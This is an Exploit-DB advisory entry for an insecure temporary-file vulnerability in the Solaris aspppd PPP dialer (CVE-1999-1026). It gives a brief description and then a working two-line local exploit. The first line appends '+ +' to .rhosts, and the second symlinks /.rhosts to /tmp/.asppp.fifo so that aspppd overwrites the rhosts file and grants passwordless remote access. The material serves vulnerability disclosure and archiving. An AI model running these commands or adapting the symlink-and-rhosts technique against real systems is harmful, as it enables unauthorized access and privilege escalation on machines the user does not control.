Solaris <= 7.0 aspppd Insecure Temporary File Creation Vulnerability

1996-12-20T00:00:00
ID EDB-ID:19233
Type exploitdb
Reporter Al-Herbish
Modified 1996-12-20T00:00:00

Description

Solaris 7.0 aspppd Insecure Temporary File Creation Vulnerability. CVE-1999-1026. Local exploit for solaris platform

                                        
                                            source: http://www.securityfocus.com/bid/292/info

Aspppd is a tool shipped with Solaris for dial up PPP access. This tool creates files in the /tmp directory insecurely (in particular /tmp/.asppp.fifo) allowing other users to link to these files an possibly elevate their privelages. This program is not by default shipped with SUID root privelages so an attacker will therefore only be able to write to files (via a symlink attack) as the user exectuing aspppd. 

$ echo "+ +" >> .rhosts
$ ln -s /.rhosts /tmp/.asppp.fifo

Wait for asppd to be excecuted.